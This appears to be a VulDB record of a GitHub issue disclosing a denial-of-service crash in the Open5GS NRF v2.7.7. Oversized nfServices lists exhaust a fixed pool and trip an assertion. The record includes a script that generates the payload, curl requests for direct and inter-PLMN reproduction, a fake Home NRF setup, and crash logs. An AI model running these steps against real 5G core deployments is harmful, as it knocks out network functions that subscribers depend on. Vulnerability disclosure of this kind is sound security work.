| Название | Open5GS NRF v2.7.7 Denial of Service |
|---|
| Описание | ### Open5GS Release, Revision, or Tag
v2.7.7
### Description
This merged report covers both currently confirmed reachability variants that
hit the same `nf_service_pool` exhaustion crash site.
The shared bug is in the NF-service allocation path:
```c
nf_service = ogs_sbi_nf_service_add(
nf_instance,
NFService->service_instance_id,
NFService->service_name, NFService->scheme);
ogs_assert(nf_service);
```
`ogs_sbi_nf_service_add()` allocates from a fixed pool and asserts on failure:
```c
ogs_pool_alloc(&nf_service_pool, &nf_service);
ogs_assert(nf_service);
```
The default sizing is:
```c
ogs_app()->pool.nf = global_conf.max.peer;
ogs_app()->pool.nf_service = ogs_app()->pool.nf * 16;
```
With default settings that yields `1024` service objects across the entire NRF
process. The same exhaustion crash is reachable via:
1. Direct server-side registration:
`PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}`
2. Client-response inter-PLMN discovery:
`GET /nnrf-disc/v1/nf-instances`, where a malicious Home NRF returns an
oversized `SearchResult.nfInstances[*].nfServices` payload
### Root cause
- Shared crash site:
`../lib/sbi/context.c:1476-1477`
- Root cause family:
resource exhaustion leading to assertion abort
- Direct reachability:
`PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}`
- Client-response reachability:
inter-PLMN `GET /nnrf-disc/v1/nf-instances`
- Controlling field:
`NFProfile.nfServices`
### Direct Reproduction
1. Generate a small control profile and a large malicious profile:
```bash
node <<'NODE'
const fs = require('fs');
function svc(i) {
return {
serviceInstanceId: `svc-${String(i).padStart(4, '0')}`,
serviceName: 'nnrf-nfm',
versions: [{ apiVersionInUri: 'v1', apiFullVersion: '1.0.0' }],
scheme: 'http',
nfServiceStatus: 'REGISTERED'
};
}
const control = {
nfInstanceId: '11111111-1111-1111-1111-111111111111',
nfType: 'AMF',
nfStatus: 'REGISTERED',
fqdn: 'instance-control.example.org',
nfServices: Array.from({ length: 4 }, (_, i) => svc(i + 1))
};
const bomb = {
nfInstanceId: '22222222-2222-2222-2222-222222222222',
nfType: 'AMF',
nfStatus: 'REGISTERED',
fqdn: 'instance-bomb.example.org',
nfServices: Array.from({ length: 1100 }, (_, i) => svc(i + 1))
};
fs.writeFileSync('/tmp/nrf-service-control.json', JSON.stringify(control));
fs.writeFileSync('/tmp/nrf-service-bomb.json', JSON.stringify(bomb));
NODE
```
2. Control case:
```bash
NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 \
-X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
-H 'content-type: application/json' \
--data @/tmp/nrf-service-control.json
```
3. Malicious case:
```bash
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 15 \
-X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/22222222-2222-2222-2222-222222222222" \
-H 'content-type: application/json' \
--data @/tmp/nrf-service-bomb.json
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf 2>&1 | tail -n 16
```
### Inter-PLMN Reproduction
1. Start the fake Home NRF helper:
```bash
docker rm -f hnrfctl 2>/dev/null || true
docker run -d --name hnrfctl --network open5gs --network-alias hnrfctl \
-e NRF_FAKE_PORT=80 \
-v /home/ubuntu/open5gs_277/.audit_tmp:/srv \
node:22-alpine node /srv/nrf_fake_hnrf.js
```
2. Control case:
```bash
printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 8 --get \
"http://$NRF_IP/nnrf-disc/v1/nf-instances" \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
```
3. Malicious case:
```bash
printf 'service-pool\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 --get \
"http://$NRF_IP/nnrf-disc/v1/nf-instances" \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf 2>&1 | tail -n 20
```
### Logs
```shell
### Direct Reproduction
HTTP/2 201
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
exited 139 2026-04-12T06:15:31.626504086Z 0
04/12 06:15:31.514: [sbi] FATAL: ogs_sbi_nf_service_add: Assertion `nf_service' failed. (../lib/sbi/context.c:1477)
### Inter-PLMN Reproduction
HTTP/2 200
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
exited 139 2026-04-12T06:24:07.7134328Z 0
04/12 06:24:07.610: [nrf] INFO: [fake-foreign-udr-service-pool] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460)
04/12 06:24:07.616: [sbi] FATAL: ogs_sbi_nf_service_add: Assertion `nf_service' failed. (../lib/sbi/context.c:1477)
```
### Expected behaviour
NRF should reject unreasonably large `nfServices` collections with a normal HTTP error and remain running, regardless of whether they arrive via direct registration or a trusted Home-NRF response.
### Observed Behaviour
Both direct registration and inter-PLMN discovery response parsing hit the same `nf_service_pool` exhaustion crash and terminate NRF with exit code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| Источник | ⚠️ https://github.com/open5gs/open5gs/issues/4466 |
|---|
| Пользователь | ZiyuLin (UID 93568) |
|---|
| Представление | 01.05.2026 10:33 (1 месяц назад) |
|---|
| Модерация | 16.05.2026 14:38 (15 days later) |
|---|
| Статус | Дубликат |
|---|
| Запись VulDB | 364331 [Open5GS до 2.7.7 NRF /lib/sbi/context.c отказ в обслуживании] |
|---|
| Баллы | 0 |
|---|